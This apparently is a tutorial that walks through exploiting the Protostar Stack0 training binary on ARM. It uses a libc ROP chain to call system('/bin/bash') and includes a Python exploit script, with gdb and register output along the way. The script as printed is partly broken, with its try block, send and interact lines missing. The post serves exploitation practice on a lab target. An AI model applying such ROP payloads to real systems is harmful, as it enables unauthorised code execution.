ARM Exploit Exercises


A while ago, a compiled all of the stack exercises from the Exploit Exercises Protostar series and dumped them on Github. I like to practice exploitation on ARM a lot, because architecture wise it is where I spend most of my time. After running through all of the Protostar exercises again, I thought it might be useful to break down one of the challenges. So let's jump in and take a look at Stack0


I am working off of my RPI, so if you don't have a unit yourself, you can always setup a QEMU environment in order to follow along. Unlike the original X86 challenge, NX is flipped on for the stack. I also have ASLR disabled for this exercise.

For debugging I am using gef, which has excellent support for the ARM architecture. I am also running the binary using socat, so I can test and exploit remotely.

[email protected]:~/exploit-exercises-arm/protostar/stack0 $ socat tcp-l:6666,reuseaddr,fork exec:"./stack0"  

After loading up the binary in GDB, we can use a gef command to set a breakpoint on the entry point of the program.

gef> entry-break  
[+] Breaking at '{<text variable, no debug info>} 0x1044c <main>'
Temporary breakpoint 1 at 0x1044c  
[+] Starting execution

We can observe the stack overflow that will happen in the gets() function pretty easily in the assembly.

0x00010468 <+28>:    sub r3, r11, #72    ; 0x48  
0x0001046c <+32>:    mov r0, r3  
0x00010470 <+36>:    bl  0x102e8  

If we send 76 bytes into gets(), this will result in a segmentation fault.

gef> c  
You have changed the 'modified' variables!

Program received signal SIGSEGV, Segmentation fault.  

If we checkout the program registers, it appears we have overwritten the return address and now control the pc.

gef> info registers  
r0             0x0    0  
r1             0x0    0  
r2             0x1    1  
r3             0x0    0  
r4             0x0    0  
r5             0x0    0  
r6             0x10324    66340  
r7             0x0    0  
r8             0x0    0  
r9             0x0    0  
r10            0x76fff000    1996484608  
r11            0x41414141    1094795585  
r12            0x2b    43  
sp             0x7efff5b0    0x7efff5b0  
lr             0x76ed1008    1995247624  
pc             0x41414140    0x41414140  
cpsr           0x60000030    1610612784  

Because the stack is not executable, we will need to use ROP to achieve code execution. There are pretty much zero useful gadgets in the main binary itself, which forces us to scavenge through libc. We will be building a ROP chain in order to call the system() function. Using ROPgadget, I located the following gadgets to build my chain. Here they are with some explanation around them.

In ARM, arguments are passed to functions through registers. For example r0 will hold the first argument to a given function call. In our case this will be the system() function.

This gadget will pop what is on the stack into r0, r4, and pc respectively. Our next gadget will be put into pc in order to continue controlling the execution flow.

0x0007a12c : pop {r0, r4, pc}  

The second gadget is to merely control the Link Register. This will contain the address to system() and the bx lr instruction will call the function itself.

0x0005cbc8 : pop {r4, r5, r6, r7, lr} ; add sp, sp, #0x10 ; bx lr  

With ASLR being disabled, we can grab the base address of libc and calculate each gadget's offsets.

gef> vmmap  
     Start        End     Offset Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/pi/exploit-exercises-arm/protostar/stack0/stack0  
0x00020000 0x00021000 0x00000000 rw- /home/pi/exploit-exercises-arm/protostar/stack0/stack0  
0x76e66000 0x76f91000 0x00000000 r-x /lib/arm-linux-gnueabihf/  
0x76f91000 0x76fa1000 0x0012b000 --- /lib/arm-linux-gnueabihf/  
0x76fa1000 0x76fa3000 0x0012b000 r-- /lib/arm-linux-gnueabihf/  
0x76fa3000 0x76fa4000 0x0012d000 rw- /lib/arm-linux-gnueabihf/  
0x76fa4000 0x76fa7000 0x00000000 rw-  
0x76fba000 0x76fbf000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/  
0x76fbf000 0x76fce000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/  
0x76fce000 0x76fcf000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/  
0x76fcf000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/  
0x76ff5000 0x76ffb000 0x00000000 rw-  
0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]  
0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]  
0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]  
0x76ffe000 0x76fff000 0x0001f000 r-- /lib/arm-linux-gnueabihf/  
0x76fff000 0x77000000 0x00020000 rw- /lib/arm-linux-gnueabihf/  
0x7efdf000 0x7f000000 0x00000000 rwx [stack]  
0xffff0000 0xffff1000 0x00000000 r-x [vectors]  

Finally, if we look down the stack, we should be able to get the address which holds the string SHELL=/bin/bash. We can index into this address and grab /bin/bash, which will be used as our argument for the system() function.

Here is exploit.

import socket  
import sys  
import struct  
import telnetlib

def exploit():  
        # Connect to target
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('', 6666))
        print("[*] Connecting to target (!)")
        # Build payload
        payload = 'A' * 72
        payload += struct.pack("<I", 0x76EE012C)
        payload += struct.pack("<I", 0x7efff7f3)
        payload += 'BBBB'
        payload += struct.pack("<I", 0x76EC2BC8)
        payload += 'CCCC'
        payload += 'DDDD'
        payload += 'EEEE'
        payload += 'FFFF'
        payload += struct.pack("<I", 0x76e9ffac)
        print("[*] Sending Payload (!)")
        # Send payload
        # Interact with the shell
        t = telnetlib.Telnet()
        t.sock = s
    except socket.errno:

if __name__ == '__main__':  
    except KeyboardInterrupt:

Let's run it!

[*] Connecting to target (!)
[*] Sending Payload (!)
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)